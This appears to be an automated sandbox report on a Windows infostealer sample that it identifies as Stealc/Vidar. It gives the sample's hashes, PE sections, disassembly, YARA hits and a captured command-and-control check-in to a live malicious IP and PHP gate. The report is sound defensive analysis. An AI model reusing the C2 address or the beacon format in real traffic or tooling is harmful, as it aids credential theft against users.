Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php2	17%	Virustotal		Browse
http://185.215.113.37/ws	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php(	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php$	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php0	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php/	18%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.php2	file.exe, 00000000.00000002.1701335364.0000000001277000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1701335364.000000000121E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php0	file.exe, 00000000.00000002.1701335364.0000000001262000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php/	file.exe, 00000000.00000002.1701335364.0000000001277000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php$	file.exe, 00000000.00000002.1701335364.0000000001262000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1701335364.0000000001277000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37a	file.exe, 00000000.00000002.1701335364.000000000121E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php(	file.exe, 00000000.00000002.1701335364.0000000001262000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523253
Start date and time:	2024-10-01 11:06:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 86
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947435420181266
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'856'512 bytes
MD5:	7104794e5bc6d9668df3a837983e43df
SHA1:	6bbeef17a4443db7e332123055796aace85064d6
SHA256:	e1eca91fddecc4eb0729d7a47e7950cd07bcfe3a195721c2ea132e79654a9fbf
SHA512:	292b4a7b45ee0217ffd846739053ea5eb62646123e1e755fb13489333cdf5c3d307e7d6e6cee3a0f60cffb2266e8c8874185f82b4ca7acbe0da8b92d91a7d60d
SSDEEP:	24576:9H0JnrSqDsGenZ2+XIRQQD3USAlNoMuXOZ67J4viv7PZ7eaZHfoht7wkT4vYYx:GJrmNnE+XfpnH0ttTP5D/oht7jcQ
TLSH:	9E8533A629AD71F1D9AC81FF0F6B3A70FF40D65325B8C41169151B6CE9322ADB3B3109
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xaa0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7F1C978EDAh
rdmsr
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F7F1C97AED5h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	fd93384c9ea43104f47548e8e90558f2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a1000	0x200	f3f087bdc73a381427c1e28c970e022a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gbgxsggn	0x4ff000	0x1a0000	0x19f200	a4a8a5ef8b27c70f3e5acbd4a92d539c	False	0.9950286764152364	data	7.953932899320452	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lycvdkjm	0x69f000	0x1000	0x400	04c2fa35af70099414bab8910d96b267	False	0.8134765625	data	6.274237333962727	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a0000	0x3000	0x2200	76bb3e1adaeeb6f418bc4c149110dc11	False	0.06939338235294118	DOS executable (COM)	0.8118838505904251	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-01T11:06:56.881309+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 11:06:55.945058107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 11:06:55.950764894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 11:06:55.950851917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 11:06:55.950983047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 11:06:55.958194017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 11:06:56.653424025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 11:06:56.653573036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 11:06:56.656116009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 11:06:56.660963058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 11:06:56.881215096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 11:06:56.881309032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 11:06:59.832824945 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	6968	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 11:06:55.950983047 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 11:06:56.653424025 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 09:06:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 1, 2024 11:06:56.656116009 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBFHCAKFBGDHIDHIDBK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 46 36 39 45 33 34 37 32 45 42 33 32 39 34 35 36 34 35 34 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 2d 2d 0d 0a Data Ascii: ------IEBFHCAKFBGDHIDHIDBKContent-Disposition: form-data; name="hwid"1BF69E3472EB3294564547------IEBFHCAKFBGDHIDHIDBKContent-Disposition: form-data; name="build"doma------IEBFHCAKFBGDHIDHIDBK--
Oct 1, 2024 11:06:56.881215096 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 09:06:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	05:06:52
Start date:	01/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x470000
File size:	1'856'512 bytes
MD5 hash:	7104794E5BC6D9668DF3A837983E43DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1701335364.000000000121E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1660531613.0000000004E30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00489860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01232290), ref: 004898A1
GetProcAddress.KERNEL32(74DD0000,01232188), ref: 004898BA
GetProcAddress.KERNEL32(74DD0000,01232230), ref: 004898D2
GetProcAddress.KERNEL32(74DD0000,012321B8), ref: 004898EA
GetProcAddress.KERNEL32(74DD0000,012321E8), ref: 00489903
GetProcAddress.KERNEL32(74DD0000,012391E0), ref: 0048991B
GetProcAddress.KERNEL32(74DD0000,01225570), ref: 00489933
GetProcAddress.KERNEL32(74DD0000,012255B0), ref: 0048994C
GetProcAddress.KERNEL32(74DD0000,012322C0), ref: 00489964
GetProcAddress.KERNEL32(74DD0000,012322A8), ref: 0048997C
GetProcAddress.KERNEL32(74DD0000,01232308), ref: 00489995
GetProcAddress.KERNEL32(74DD0000,012323F8), ref: 004899AD
GetProcAddress.KERNEL32(74DD0000,012254D0), ref: 004899C5
GetProcAddress.KERNEL32(74DD0000,01232428), ref: 004899DE
GetProcAddress.KERNEL32(74DD0000,01232440), ref: 004899F6
GetProcAddress.KERNEL32(74DD0000,012253F0), ref: 00489A0E
GetProcAddress.KERNEL32(74DD0000,01232248), ref: 00489A27
GetProcAddress.KERNEL32(74DD0000,01232320), ref: 00489A3F
GetProcAddress.KERNEL32(74DD0000,012254B0), ref: 00489A57
GetProcAddress.KERNEL32(74DD0000,01232200), ref: 00489A70
GetProcAddress.KERNEL32(74DD0000,01225270), ref: 00489A88
LoadLibraryA.KERNEL32(01232470,?,00486A00), ref: 00489A9A
LoadLibraryA.KERNEL32(012324B8,?,00486A00), ref: 00489AAB
LoadLibraryA.KERNEL32(012324E8,?,00486A00), ref: 00489ABD
LoadLibraryA.KERNEL32(012324D0,?,00486A00), ref: 00489ACF
LoadLibraryA.KERNEL32(01232500,?,00486A00), ref: 00489AE0
GetProcAddress.KERNEL32(75A70000,01232518), ref: 00489B02
GetProcAddress.KERNEL32(75290000,01232488), ref: 00489B23
GetProcAddress.KERNEL32(75290000,012324A0), ref: 00489B3B
GetProcAddress.KERNEL32(75BD0000,01232530), ref: 00489B5D
GetProcAddress.KERNEL32(75450000,01225330), ref: 00489B7E
GetProcAddress.KERNEL32(76E90000,012391F0), ref: 00489B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00489BB6

Strings

NtQueryInformationProcess, xrefs: 00489BAA

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: a8632c72287aa06a86cf23377a60eec1dce716b2093f76b9c3348ec54fa90702
Instruction ID: 0980ea8ad3a16c80a65ccc6a8327482f3a3ecb070e0abfa151afcd480a9c68a3
Opcode Fuzzy Hash: a8632c72287aa06a86cf23377a60eec1dce716b2093f76b9c3348ec54fa90702
Instruction Fuzzy Hash: D2A14EF9514240AFD354EFE8ED889A637FBF74C301754672AE605C3664DA3A98C1CB12

Function 004745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0047460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0047479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00474643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00474622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004746CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0047474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00474729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0047477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004746AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0047471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00474638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0047473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004745E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004746C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00474713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004745F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0047475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004746B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004745C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00474765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00474662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004745D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004746D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0047462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00474734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004745DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00474617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00474657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00474678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00474770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0047466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00474683

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
